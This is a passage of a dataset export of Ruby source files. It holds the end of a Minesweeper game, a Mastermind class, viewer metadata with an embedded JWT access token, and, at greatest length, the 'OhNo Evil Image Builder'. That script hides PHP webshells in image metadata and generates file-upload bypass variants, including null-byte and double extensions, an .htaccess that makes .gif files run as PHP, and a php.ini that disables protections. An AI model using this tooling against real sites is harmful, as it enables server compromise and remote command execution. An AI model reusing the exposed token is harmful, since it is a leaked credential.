col],\n bot: [row - 1, col],\n upL: [row + 1, col - 1],\n upR: [row + 1, col + 1],\n botL: [row - 1, col - 1],\n botR: [row - 1, col + 1]\n }\n \n @grid[row][col].reveal\n adjacent_spots.values.each do |spot|\n if spot[0].between?(0, 8) && spot[1].between?(0, 8) && grid[spot[0]][spot[1]].hidden == true\n @grid[spot[0]][spot[1]].reveal\n reveal_zeros([spot[0], spot[1]]) if @grid[spot[0]][spot[1]].symbol == 0\n end\n end\n \n \n end\nend\n\nclass Player\n attr_reader :name\n def initialize(name)\n @name = name\n end\n\n def get_move\n puts \"Enter a move (e.g. 0 0 f)\"\n move = gets.chomp\n letter = move.scan(/[a-z]/).join\n number = move.scan(/[0-9]/).map(&:to_i)\n\n if valid_move?(number,letter)\n return [number,letter]\n else\n get_move\n end\n\n end\n\n def valid_move?(number,letter)\n if (letter == \"f\" || letter == \"\") && number.length == 2 && number[0].between?(0,8) && number[1].between?(0,8)\n return true\n else\n return false\n end\n end\n\nend\n\n# board = Board.new\n# board.place_bombs\n# board.display\n# board.place_bomb_indicators\n# board.display\n# board.player_display\n# player = Player.new(\"Ryan\")\n# player.get_move\n# board.count_adj_bombs([5,5])\n\nplayer = Player.new(\"Ryan\")\ngame = Minesweeper.new(player)\nputs \"load previous game or new game? (load, new)\"\nuser_input = gets.chomp.downcase\nif user_input == \"load\"\n game.load_game\nend\n\ngame.play"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1198,"cells":{"blob_id":{"kind":"string","value":"4fd9c1e4ae59d24c7dd81614a6dfe2dcd7af218d"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"oneplus-x/OhNo"},"path":{"kind":"string","value":"/ohno-c"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":15613,"string":"15,613"},"score":{"kind":"number","value":2.75,"string":"2.75"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"#!/usr/bin/env ruby\n#\n# Evil Image Builder\n# A Ruby ExifTool GUI of sorts\n# By: Hood3dRob1n\n#\n# Pre-Requisites:\n# MiniExifTool is a wrapper for ExifTool CLI\n# ExifTool CLI Installation: http://www.sno.phy.queensu.ca/~phil/exiftool/install.html\n#\tDownload file...\n# \t cd \n# \t gzip -dc Image-ExifTool-#.##.tar.gz | tar -xf -\n# \t cd Image-ExifTool-#.##/\n#\t perl Makefile.PL\n#\t make test\n#\t sudo make install\n#\n\n####### STD GEMS #########\nrequire 'fileutils' #\nrequire 'optparse' #\n###### NON-STD GEMS ######\nrequire 'mini_exiftool' #\nrequire 'colorize' #\n##########################\n\nHOME=File.expand_path(File.dirname(__FILE__))\nEVIL=HOME + '/evil/'\nUP = EVIL + 'uploads/'\n\n# Terminal Banner\ndef banner\n puts\n print <<\"EOT\".white\n _______________________________ \n< OhNo - The Evil Image Builder >\n ------------------------------- \n \\\\ __ \n \\\\ (OO)\n \\\\ ( )\n \\\\ /--\\\\\n __ / \\\\ \\\\ \n UOOU\\\\.'@@@@@@`.\\\\ )\n \\\\__/(@@@@@@@@@@) /\n (@@@@@@@@)(( \n `YY~~~~YY' \\\\\\\\\n || || >> \nEOT\nend\n\n# Clear Terminal\ndef cls\n if RUBY_PLATFORM =~ /win32|win64|\\.NET|windows|cygwin|mingw32/i\n system('cls')\n else\n system('clear')\n end\nend\n\n# Delete MetaTag Value\n# Returns True on Success, False otherwise\ndef delete(obj, tag)\n if not obj.tags.include?(tag)\n return false\n else\n obj[tag] = '' # Set to Nothing to Wipe Tag\n if obj.save\n return true\n else\n return false\n end\n end\nend\n\n# Write String to Tag\n# Returns True on Success, False otherwise\ndef write(obj, str, tag)\n obj[tag] = str\n if obj.save\n return true\n else\n return false\n end\nend\n\n# Dump Tags & Values\n# Returns Hash {Tag=>Value}\ndef dump(obj)\n tagz={}\n obj.tags.sort.each do |tag|\n tagz.store(tag, obj[tag])\n end\n return tagz\nend\n\n# Build various Shell Upload Bypass Possibilities\n# Generates many possibilities and writes them to: OhNo/evil_images/uploads/\ndef generate_uploads(shell, flip='gif')\n Dir.mkdir(EVIL) unless File.exists?(EVIL) and File.directory?(EVIL)\n Dir.mkdir(UP) unless File.exists?(UP) and File.directory?(UP)\n php = [ 'php', 'pHp', 'php4', 'php5', 'phtml' ]\n options = [ 'gif', 'jpeg', 'mp3', 'pdf', 'png', 'txt' ]\n shell_name = shell.split('/')[-1]\n # Read provided Shell into Var\n data = File.open(shell).read\n # Generate our Shell Possibilities for Uploading\n php.each do |x|\n a = shell_name.sub(shell.split('/')[-1].split('.')[-1], x)\n f = File.open(UP + a, 'w+')\n f.puts data\n f.close\n end\n options.each do |y|\n # Simple Concatenation of Filetypes: .php.jpeg\n b = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + '.' + y)\n f = File.open(UP + b, 'w+')\n f.puts data\n f.close\n if y =~ /GIF|JPEG|PNG/i\n # Simple Concatenation of Filetypes (reversed order for evil images): .jpeg.php\n c = shell_name.sub(shell.split('/')[-1].split('.')[-1], y + '.' + shell.split('/')[-1].split('.')[-1])\n f = File.open(UP + c, 'w+')\n f.puts data\n f.close\n end\n # Another Concatenation of Filetypes in hopes it drops the trailing type: .php;jpeg\n d = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + ';.' + y)\n f = File.open(UP + d, 'w+')\n f.puts data\n f.close\n # Null Byte to drop the trailing filetype\n e = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + '%00.' + y)\n f = File.open(UP + e, 'w+')\n f.puts data\n f.close\n end\n # Bogus separator, unknown extension causes it to fallback to PHP\n g = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + '.xxxfoo')\n f = File.open(UP + g, 'w+')\n f.puts data\n f.close\n\n # Create .htaccess file for flipping filetype to php\n f = File.open(UP + '.htaccess', 'w+')\n f.puts \"AddType application/x-httpd-php .#{flip}\"\n f.close\n\n # PHP_INI Overrides\n f = File.open(UP + 'php.ini', 'w+')\n f.puts 'disable_functions = none'\n f.puts 'magic_quotes_gpc = off'\n f.puts 'safe_mode = off'\n f.puts 'suhosin.executor.func.blacklist = foofucked'\n f.close\nend\n\n# PHP Shells for Evil Image Builder\n# see more on sneaky shell here: http://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html\nsneaky_shell = '>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );?>'\nr0ng_shell = \"'.shell_exec($_GET['r0ng']);}?>\"\nsystem_shell = \"\"\neval_shell = \"\"\n$shell='Sneaky Shell'\n$c=1\n\n### MAIN ### ##\n##################################### #\noptions = {}\noptparse = OptionParser.new do |opts| \n opts.banner = \"Usage\".light_blue + \": #{$0} \".white + \"[\".light_blue + \"OPTIONS\".white + \"]\".light_blue\n opts.separator \"\"\n opts.separator \"EX\".light_blue + \": #{$0} -i ./images/ohno.jpeg -d\".white\n opts.separator \"EX\".light_blue + \": #{$0} -i ./images/ohno.gif -g 1 -t Comment\".white\n opts.separator \"EX\".light_blue + \": #{$0} -i ./images/ohno.gif -w 'HR was here' -t 'Comment'\".white\n opts.separator \"\"\n opts.separator \"Options\".light_blue + \": \".white\n opts.on('-i', '--image IMG', \"\\n\\tImage File to Use\".white) do |img|\n if File.exists?(img.chomp) and not File.directory?(img.chomp)\n options[:img] = img.chomp\n else\n cls\n banner\n puts\n puts \"Problem loading Image file\".light_red + \"!\".white\n puts \"Check path and permissions and try again\".light_red + \".....\".white\n puts\n puts opts\n puts\n exit 666;\n end\n end\n opts.on('-d', '--dump', \"\\n\\tDump All Tags w/Values\".white) do |meh|\n options[:method] = 1\n end\n opts.on('-w', '--write STRING', \"\\n\\tWrite Custom String to Tag\".white) do |write_str|\n options[:method] = 2\n options[:str] = write_str.chomp\n end\n opts.on('-g', '--generate NUM', \"\\n\\tWrite PHP Shell to Tag\\n\\t 0 => Sneaky Shell\\n\\t 1 => r0ng Shell\\n\\t 2 => Simple System() Shell\\n\\t 3 => Simple Eval Shell\".white) do |num|\n options[:method] = 3\n if num.chomp.to_i >= 0 and num.chomp.to_i <= 3\n options[:shell] = num.chomp.to_i\n else\n cls\n banner\n puts\n puts \"Unknown Shell Generator Option Requested\".light_red + \"!\".white\n puts\n puts opts\n puts\n exit 69;\n end\n end\n opts.on('-t', '--tag TAG', \"\\n\\tTag Name to Write to\".white) do |tag|\n options[:tag] = tag.chomp\n end\n opts.on('-n', '--nuke TAG', \"\\n\\tTry to Delete Tag\".white) do |tag|\n options[:method] = 4\n options[:tag] = tag.chomp\n end\n opts.on('-u', '--uploads-gen SHELL', \"\\n\\tGenerate Upload Bypass Possibilities for Shell\".white) do |shell|\n if File.exists?(shell.chomp) and not File.directory?(shell.chomp)\n options[:method] = 5\n options[:shell] = shell.chomp\n else\n cls\n banner\n puts\n puts \"Problem loading Shell file\".light_red + \"!\".white\n puts \"Check path and permissions and try again\".light_red + \".....\".white\n puts\n puts opts\n puts\n exit 69;\n end\n options[:shell] = shell.chomp\n end\n opts.on('-h', '--help', \"\\n\\tHelp Menu\".white) do \n cls\n banner\n puts\n puts opts\n puts\n exit 69;\n end\nend\nbegin\n foo = ARGV[0] || ARGV[0] = \"-h\"\n optparse.parse!\n if options[:method].to_i == 1\n mandatory = [:method, :img] # CLI DUMP\n elsif options[:method].to_i == 3\n mandatory = [:method, :img, :tag, :shell] # CLI Evil Image Generator\n elsif options[:method].to_i == 5\n mandatory = [:method, :shell] # CLI DUMP\n elsif not options[:generate].nil?\n mandatory = [:method, :img] # CLI DUMP\n else\n mandatory = [:method, :img, :tag] # CLI WRITE OR NUKE\n end\n missing = mandatory.select{ |param| options[param].nil? }\n if not missing.empty?\n cls\n banner\n puts\n puts \"Missing options\".light_red + \": #{missing.join(', ')}\".white\n puts optparse\n exit 666;\n end\nrescue OptionParser::InvalidOption, OptionParser::MissingArgument\n cls\n banner\n puts\n puts $!.to_s\n puts\n puts optparse\n puts\n exit 666; \nend\ncls\nbanner\ncase options[:method].to_i\nwhen 1\n # Tag Dump\n photo = MiniExiftool.new(options[:img])\n v = photo.exiftool_version.to_s.split('.')\n height = photo.image_height\n width = photo.image_width\n puts\n puts \"ExifTool v#{v[0]}\".light_red + \".\".white + \"#{v[1]}\".light_red\n puts\n puts \"Meta Info from\".light_blue + \": #{options[:img].split('/')[-1]}\".white\n puts \"Image Dimensions\".white.underline + \": \".white\n puts \"Image Height\".light_blue + \": #{height}\".white\n puts \"Image Width\".light_blue + \": #{width}\".white\n puts\n puts \"Available Tags\".white.underline + \": \".white\n photo.tags.sort.each do |tag|\n puts \"#{tag}\".light_blue + \": #{photo[tag]}\".white\n end\nwhen 2\n # Write to Tag\n photo = MiniExiftool.new(options[:img])\n v = photo.exiftool_version.to_s.split('.')\n height = photo.image_height\n width = photo.image_width\n puts\n puts \"ExifTool v#{v[0]}\".light_red + \".\".white + \"#{v[1]}\".light_red\n puts\n if not photo.tags.include?(options[:tag])\n puts \"Provided Tag doesn't appear to exist\".light_red + \"!\".white\n if photo.tags.include?('Comment')\n puts \"Trying generic approach to try and write to 'Comment' Tag\".light_yellow + \".....\".white\n options[:tag] = 'Comment'\n else\n puts \"Trying generic approach to create and write to Comment Tag\".light_yellow + \".....\".white\n options[:tag] = 'Comment'\n end\n end\n original = photo[options[:tag]]\n puts \"Attempting write to the \".light_blue + \"'\".white + \"#{options[:tag]}\".light_blue + \"'\".white + \" tag\".light_blue + \"....\".white\n puts \"Current Value\".light_blue + \": #{original}\".white\n puts \"Write String\".light_blue + \": #{options[:str]}\".white\n if write(photo, options[:str], options[:tag])\n photo.reload # reload the new file info\n if original != photo[options[:tag]]\n puts\n puts \"Appears things were successful\".light_green + \"!\".white\n puts \"Updated Value\".light_green + \": #{photo[options[:tag]]}\".white\n else\n puts \"WTF\".light_red + \"?\".white + \" Doesn't appear we changed the value\".light_red + \".....\".white\n puts \"Value\".light_yellow + \": #{photo[options[:tag]]}\".white\n puts \"Make sure Tag name was spelled properly, is writable and try again\".light_red + \"...\".white\n end\n else\n puts \"Problem writing to '#{options[:tag]}' Tag\".light_red + \"!\".white\n puts \"Make sure Tag name exists, is spelled properly, is writable and then try again\".light_red + \"...\".white\n end\nwhen 3\n # Evil Image Shell Generator\n case options[:shell].to_i\n when 0\n # Sneaky Shell\n shell = 'Sneaky'\n payload = sneaky_shell\n c = \"http://localhost/#{options[:img].split('/')[-1]}?0=system&1=id\"\n when 1\n # r0ng Shell\n shell = 'r0ng'\n payload = r0ng_shell\n c = \"http://localhost/#{options[:img].split('/')[-1]}?r0ng=id\"\n when 2\n # System Shell\n shell = 'System'\n payload = system_shell\n c = \"http://localhost/forum/profile.php?inc=/profiles/0123456789/#{options[:img].split('/')[-1]}?cmd=id\"\n when 3\n # Eval Shell\n shell = 'Eval'\n payload = eval_shell\n c = \"http://localhost/#{options[:img].split('/')[-1]}?cmd=system('id');\"\n end\n # Make sure our evil images directory exists, if not create\n # We also create a temporary directory to move images in and out of for use without affecting original\n # Delete temp dir and cleanup when done\n tmp = HOME + '/temp'\n Dir.mkdir(EVIL) unless File.exists?(EVIL) and File.directory?(EVIL)\n Dir.mkdir(tmp) unless File.exists?(tmp) and File.directory?(tmp)\n\n real = MiniExiftool.new(options[:img])\n innocent = tmp + '/' + options[:img].split('/')[-1]\n FileUtils.copy_file(options[:img], innocent, preserve = true)\n Dir.chdir(tmp) do\n photo = MiniExiftool.new(options[:img].split('/')[-1])\n v = photo.exiftool_version.to_s.split('.')\n height = photo.image_height\n width = photo.image_width\n puts\n puts \"ExifTool v#{v[0]}\".light_red + \".\".white + \"#{v[1]}\".light_red\n puts\n if not real.tags.include?(options[:tag])\n puts \"Provided Tag doesn't appear to exist\".light_red + \"!\".white\n if real.tags.include?('Comment')\n puts \"Trying generic approach to try and write to 'Comment' Tag\".light_yellow + \".....\".white\n options[:tag] = 'Comment'\n else\n puts \"Trying generic approach to create and write to Comment Tag\".light_yellow + \".....\".white\n options[:tag] = 'Comment'\n end\n end\n original = photo[options[:tag]]\n puts \"Attempting to write \".light_blue + \"'\".white + \"#{shell} Shell\".light_blue + \"'\".white + \" to the \".light_blue + \"'\".white + \"#{options[:tag]}\".light_blue + \"'\".white + \" tag\".light_blue + \"....\".white\n puts \"Current Value\".light_blue + \": #{original}\".white\n puts \"Write String\".light_blue + \": \\n#{payload}\".white\n puts\n if write(photo, payload, options[:tag])\n photo.reload # reload the new file info\n if original != photo[options[:tag]]\n FileUtils.copy_file(options[:img].split('/')[-1], \"#{EVIL}/#{options[:img].split('/')[-1]}\", preserve = true)\n puts\n puts \"Appears things were successful\".light_green + \"!\".white\n puts \"Updated Value\".light_green + \": #{photo[options[:tag]]}\".white\n puts \"Find your evil image here\".light_green + \": #{EVIL}#{options[:img].split('/')[-1]}\".white\n puts \"Example #{shell} Shell Execution\".light_green + \": #{c}\".white\n else\n puts \"WTF\".light_red + \"?\".white + \" Doesn't appear we changed the value\".light_red + \".....\".white\n puts \"Value\".light_yellow + \": #{photo[options[:tag]]}\".white\n puts \"Make sure Tag name was spelled properly, is writable and try again\".light_red + \"...\".white\n end\n else\n puts \"Problem writing to '#{options[:tag]}' Tag\".light_red + \"!\".white\n puts \"Make sure Tag name exists, is spelled properly, is writable and then try again\".light_red + \"...\".white\n end\n end\n FileUtils.rm_rf(tmp)\nwhen 4\n # Delete MetaTag if possible\n photo = MiniExiftool.new(options[:img])\n if not photo.tags.include?(options[:tag])\n puts \"Can't delete what doesn't exist\".light_red + \"!\".white\n puts \"Make sure Tag name exists, is spelled properly, is writable and then try again\".light_red + \"...\".white\n else\n if delete(photo, options[:tag])\n puts\n puts \"Appears MetaTag removal was successful\".light_green + \"!\".white\n puts \"Run the dump option to confirm the changes\".light_green + \"....\".white\n else\n puts \"Problem wiping Tag\".light_red + \"!\".white\n puts \"Make sure Tag name exists, is spelled properly, is writable and then try again\".light_red + \"...\".white\n end\n end\nwhen 5\n # Uploads Generator\n puts \n puts \"Generating file upload bypass possibilities for #{options[:shell].split('/')[-1]}\".light_blue + \".....\".white\n generate_uploads(options[:shell], flip='gif')\n puts \"Uploader bypass files created\".light_green + \"!\".white\n puts \"Find them all here\".light_green + \": #{UP}\".white\n puts \"May the force be with you\".light_green + \"...........\".white\nend\nputs\nputs\n# EOF\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1199,"cells":{"blob_id":{"kind":"string","value":"d613e23a87f37caebdb6a4aee46f896869cc81e9"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"justin-tse/app-academy"},"path":{"kind":"string","value":"/02-software-engineering-foundations/08-object-oriented-programming/justin-fa-mastermind_project/lib/mastermind.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":462,"string":"462"},"score":{"kind":"number","value":3.484375,"string":"3.484375"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"require_relative \"code\"\n\nclass Mastermind\n def initialize(length)\n @secret_code = Code.random(length)\n end\n\n def print_matches(other_code)\n puts \"exact matches: #{@secret_code.num_exact_matches(other_code)}\"\n puts \"near matches: #{@secret_code.num_near_matches(other_code)}\"\n end\n\n def ask_user_for_guess\n p \"Enter a code\"\n user_guess = Code.from_string(gets.chomp)\n self.print_matches(user_guess)\n user_guess == @secret_code\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}}],"truncated":false,"partial":false},"paginationData":{"pageIndex":11,"numItemsPerPage":100,"numTotalItems":2976874,"offset":1100,"length":100}},"jwt":"eyJhbGciOiJFZERTQSJ9.eyJyZWFkIjp0cnVlLCJwZXJtaXNzaW9ucyI6eyJyZXBvLmNvbnRlbnQucmVhZCI6dHJ1ZX0sImlhdCI6MTc1NjQ2NTYwNSwic3ViIjoiL2RhdGFzZXRzL2hvbmdsaXU5OTAzL3N0YWNrX2VkdV9ydWJ5IiwiZXhwIjoxNzU2NDY5MjA1LCJpc3MiOiJodHRwczovL2h1Z2dpbmdmYWNlLmNvIn0.ihiE_TXCpnFC8PwJ4xGWu10ELIr9w04GaHNgM6hKxiE91d7qsgd2LB2xAAExrqpoRdFbwTpuwjs1Dz0b176sAg","displayUrls":true},"discussionsStats":{"closed":0,"open":0,"total":0},"fullWidth":true,"hasGatedAccess":true,"hasFullAccess":true,"isEmbedded":false,"savedQueries":{"community":[],"user":[]}}">
blob_id
stringlengths
40
40
language
stringclasses
1 value
repo_name
stringlengths
4
137
path
stringlengths
2
355
src_encoding
stringclasses
31 values
length_bytes
int64
11
3.9M
score
float64
2.52
5.47
int_score
int64
3
5
detected_licenses
listlengths
0
49
license_type
stringclasses
2 values
text
stringlengths
11
3.93M
download_success
bool
1 class
6a3908fba374fbcc0d0cfa4714e0231bc0a22cd8
Ruby
apalski/crud-with-validations-lab-v-000
/app/models/song.rb
UTF-8
411
2.546875
3
[ "LicenseRef-scancode-unknown-license-reference", "LicenseRef-scancode-public-domain" ]
permissive
class Song < ActiveRecord::Base validates :title, :artist_name, presence: true validates_uniqueness_of :title, scope: :release_year validates :released, inclusion: {in: [true, false]} validates :release_year, presence: true, if: :is_released? validates :release_year, numericality: {less_than_or_equal_to: Date.current.year}, if: :is_released? def is_released? self.released == true end end
true
559dfbbac9e8f2bc0f4bb1cdf127125c884ece25
Ruby
GeorgieGirl24/backend_mod_1_prework
/day_6/exercises/burrito.rb
UTF-8
1,266
3.859375
4
[]
no_license
# Add the following methods to this burrito class and # call the methods below the class: # 1. add_topping # 2. remove_topping # 3. change_protein class Burrito attr_reader :protein, :base, :toppings def initialize(protein, base, toppings) @protein = protein @base = base @toppings = toppings end def add_topping(*topping) topping.each do |t| self.toppings << t end self.toppings.sort # self.toppings << topping end def remove_topping(*topping) topping.each do |t| self.toppings.delete(t) end toppings.sort # self.toppings.delete(topping) end def change_protein(new_protein) @protein = new_protein.capitalize! end def current_dinner new_dinner = [self.protein, self.base, self.toppings] end end dinner = Burrito.new("Beans", "Rice", ["cheese", "salsa", "guacamole"]) p dinner.protein p dinner.base p dinner.toppings p dinner.add_topping("lettuce") p dinner.remove_topping("salsa") p dinner.toppings p dinner.change_protein("steak") p dinner.current_dinner p dinner.add_topping("cilantro", "corn salsa", "jalepano") p dinner.current_dinner p dinner.remove_topping("cheese", "cilantro") p dinner.current_dinner p dinner.change_protein("chicken") p dinner.current_dinner
true
068aae0cd133a84018f20c0828fe8232970e60ad
Ruby
sundayguru/bootcampXV
/src/factorial.rb
UTF-8
120
3.296875
3
[]
no_license
def factorial(number) return 1 if number <= 1 return number * factorial(number - 1); end puts factorial 4
true
f6bbe1d74d002c6f4b6f0b23fbd7385f70a077b8
Ruby
grosscol/hydra-pcdm
/lib/hydra/pcdm/services/collection/get_objects.rb
UTF-8
600
2.703125
3
[ "Apache-2.0" ]
permissive
module Hydra::PCDM class GetObjectsFromCollection ## # Get member objects from a collection in order. # # @param [Hydra::PCDM::Collection] :parent_collection in which the child objects are members # # @return [Array<Hydra::PCDM::Collection>] all member objects def self.call( parent_collection ) warn "[DEPRECATION] `Hydra::PCDM::GetObjectsFromCollection` is deprecated. Please use syntax `child_objects = parent_collection.child_objects` instead. This has a target date for removal of 07-31-2015" parent_collection.child_objects.to_a end end end
true
add2402034191d24cd62cdef89db406f83991596
Ruby
eulis01/debugging-with-pry-onl01-seng-pt-041320
/lib/pry_debugging.rb
UTF-8
63
2.625
3
[ "LicenseRef-scancode-unknown-license-reference", "LicenseRef-scancode-public-domain" ]
permissive
def plus_two(num) (num + 2) num = (num + 2) end plus_two(3)
true
c2ee07b0fbe12b56757fba07cd2b6532c3f9af40
Ruby
alexhawkins/query
/db/seeds.rb
UTF-8
1,861
2.78125
3
[]
no_license
require 'faker' # Create Users 5.times do user = User.new( name: Faker::Name.name, email: Faker::Internet.email, password: 'helloworld' ) user.skip_confirmation! user.save end users = User.all # Create Topics 20.times do Topic.create( title: Faker::Commerce.color, about: Faker::Lorem.paragraph ) end topics = Topic.all 50.times do Question.create( user: users.sample, title: Faker::Lorem.sentence, body: Faker::Lorem.paragraph ) end questions = Question.all # Create Answers by picking a random question to associate with each question 100.times do answer = Answer.create( user: users.sample, question: questions.sample, body: Faker::Lorem.paragraph ) end # create n number of votes for answer # 10.times do # val = Random.new.rand(-1..1) # val = val == 0 ? 1 : val # vote = answer.answer_votes.create( # value: val, # user: users.sample # ) # end #end 100.times do QuestionTopic.create( topic: topics.sample, question: questions.sample ) end #modify one user which you can use to login # Create an admin user admin = User.new( name: 'Admin User', email: '[email protected]', password: 'helloworld', role: 'admin' ) admin.skip_confirmation! admin.save # Create a moderator moderator = User.new( name: 'Moderator User', email: '[email protected]', password: 'helloworld', role: 'moderator' ) moderator.skip_confirmation! moderator.save # Create a member member = User.new( name: 'Member User', email: '[email protected]', password: 'helloworld', ) member.skip_confirmation! member.save puts "Seed finished" puts "#{QuestionTopic.count} question topics created" puts "#{User.count} users created" puts "#{Topic.count } topics created" puts "#{Question.count} questions created" puts "#{Answer.count} answer created"
true
013fcc41f188a777dab8f86918902539a62cc1dc
Ruby
rlcoble/learn_ruby
/testing/intro/02_calculator/calculator.rb
UTF-8
416
3.5625
4
[]
no_license
def add(first,second) first+second end def subtract(first,second) first-second end def sum(array) total = 0 array.each do |item| total += item end total end def multiply(array) total = 1 array.each do |item| total *= item end total end def power(first,second) first**second endn def factorial(num) total = 1 if(num<=1) total = 1 else (1..num).each do |i| total*=i end end total end
true
10533b8112e4d498994029786a5cc24700d8d8dc
Ruby
IanDCarroll/deleteMe
/spec/acceptance_spec.rb
UTF-8
747
2.890625
3
[ "MIT" ]
permissive
require 'rspec/given' require 'ian_strscan' describe 'Acceptance Test' do Given(:s) { IanStrscan.new('This is an example string') } Then { false == s.eos? } And { "This" == s.scan(/\w+/) } And { nil == s.scan(/\w+/) } And { " " == s.scan(/\s+/) } And { nil == s.scan(/\s+/) } And { "is" == s.scan(/\w+/) } And { false == s.eos? } And { " " == s.scan(/\s+/) } And { "an" == s.scan(/\w+/) } And { " " == s.scan(/\s+/) } And { "example" == s.scan(/\w+/) } And { " " == s.scan(/\s+/) } And { "string" == s.scan(/\w+/) } And { true == s.eos? } And { nil == s.scan(/\s+/) } And { nil == s.scan(/\w+/) } end
true
3b67f40102bcf6b9313a6fa13d73c026254639a3
Ruby
anand180/nick-tictactoe-server
/spec/creators/move_creator.rb
UTF-8
555
2.65625
3
[]
no_license
module MoveCreator def self.add_three_non_winning_moves(game:) type = game.x_first ? 'x' : 'o' class << type @@counter = 0 def switch type = @@counter.even? ? 'o' : 'x' @@counter += 1; type end end Move.create(game_id: game.id, player_id: game.send("#{type}_player_id"), position: 0) Move.create(game_id: game.id, player_id: game.send("#{type.switch}_player_id"), position: 1) Move.create(game_id: game.id, player_id: game.send("#{type.switch}_player_id"), position: 2) end end
true
dfddd91c515ca9b6e88c869b9e2faba7bb0e1082
Ruby
emacca/wdi_sydney_3
/students/eduard_fastovski/w1d2/simplecalc_doesnt_loop.rb
UTF-8
1,302
4.28125
4
[]
no_license
# this doesnt work. until command == "q" do puts "Please type 'A' for addition, 'S' for subtraction 'M' for multiplication and 'D' for division. 'P' for Power. /n Press q to quit." command = gets.chomp def add(a, b) puts "The answer is #{a+b}" end def sub(a, b) puts "The answer is #{a-b}" end def mul(a, b) puts "The answer is #{a*b}" end def div(a, b) puts "The answer is #{a/b}" end def power(a, b) puts "The answer is #{a**b}" end if command == 'A' puts "Enter first value" value1 = gets.chomp.to_i puts "Enter second value" value2 = gets.chomp.to_i add(value1, value2) end if command == 'S' puts "Enter first value" value1 = gets.chomp.to_i puts "Enter second value" value2 = gets.chomp.to_i sub(value1, value2) end if command == 'M' puts "Enter first value" value1 = gets.chomp.to_i puts "Enter second value" value2 = gets.chomp.to_i mul(value1, value2) end if command == 'D' puts "Enter first value" value1 = gets.chomp.to_i puts "Enter second value" value2 = gets.chomp.to_i div(value1, value2) end if command == 'P' puts "Enter first value" value1 = gets.chomp.to_i puts "Enter second value" value2 = gets.chomp.to_i power(value1, value2) end if command == "q" exit end #end
true
4144c18e20140c41fbbab2bb16000b3208d8c721
Ruby
WHomer/pantry_03
/lib/pantry.rb
UTF-8
753
3.546875
4
[]
no_license
require './lib/recipe' require './lib/ingredient' class Pantry attr_reader :stock def initialize @stock = {} end def stock_check(input_ingredient) result = @stock.find{|ingredient| ingredient[0] == input_ingredient} return 0 if result.nil? result.last end def restock(input_ingredient, quantity) @stock[input_ingredient] = 0 if @stock[input_ingredient].nil? @stock[input_ingredient] += quantity end def test_enough_ingredients_for?(recipe) recipe.list_of_ingredients.each do |ingredient| quantity_for_recipe = recipe.quantity_of_ingredient(ingredient) quantity_in_stock = stock_check(ingredient) return false if quantity_for_recipe > quantity_in_stock end return true end end
true
2f7efc59eb22bf828dd84c03611f6578253bb9c9
Ruby
kanevk/Core-Ruby-1
/week5/1-meta/solution_test.rb
UTF-8
2,140
3.40625
3
[ "MIT" ]
permissive
require 'minitest/autorun' require_relative 'solution' class SolutionTest < MiniTest::Unit::TestCase class Try private_attr_accessor :a, :b protected_attr_accessor :c, :d cattr_accessor(:clas, :empty){"NO"} @@clas = 42 def initialize() @a, @b, @c, @d = 1, 2, 3, 4 end def try_pirvate a = 10 "#{a} #{b}" end def try_protected self.c = 10 "#{c} #{d}" end end class A end def test_singleton_class test1 = A.define_singleton_class assert_equal(A.singleton_class, test1) end def test_def_singleton_method A.define_singleton_method(:shoot) do |a, b| "#{a} #{b}" end assert_equal(A.shoot("one", "gun"), "one gun") end def test_to_proc test1 = [2, 3, 4, 5].map(&'succ.succ') proc = "upcase.downcase.upcase.to_sym".to_proc test2 = proc.call("yes") assert_equal(:YES, test2) assert_equal([4, 5, 6, 7], test1) end def test_private assert_equal("10 2", Try.new.try_pirvate) end def test_protected assert_equal(Try.new.try_protected, "10 4") end def test_class_vars assert_equal(Try.clas, 42) assert_equal(Try.empty, "NO") Try.empty = 43 assert_equal(Try.empty, 43) end def test_NilPatch assert_equal(nil.succ.dfgdfg.dfgdfg, nil) assert_equal(nil.respond_to?(:aaaa), true) end def base_proxy proxy = Proxy.new [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] end def class_proxy Proxy end def test_proxy_call_method_static proxy = base_proxy assert_equal(1, proxy[0]) end def test_proxy_repond_to proxy = base_proxy assert_equal(true, proxy.respond_to?(:to_h)) assert_equal(false, proxy.respond_to?(:afdssdd)) end User = Struct.new(:first_name, :last_name) class Invoce delegate(:fist_name, to: '@user') delegate(:last_name, to: '@user') def initialize(user) @user = user end end def test_delegate user = User.new 'Genadi', 'Samokovarov' invoice = Invoce.new(user) assert_equal('Genadi', invoice.fist_name) assert_equal('Samokovarov', invoice.last_name) end end
true
09aab5171d264f61d392f5ac54eff5a7c857d180
Ruby
yb66/english-words
/scripts/cleanup.rb
UTF-8
438
3.296875
3
[]
no_license
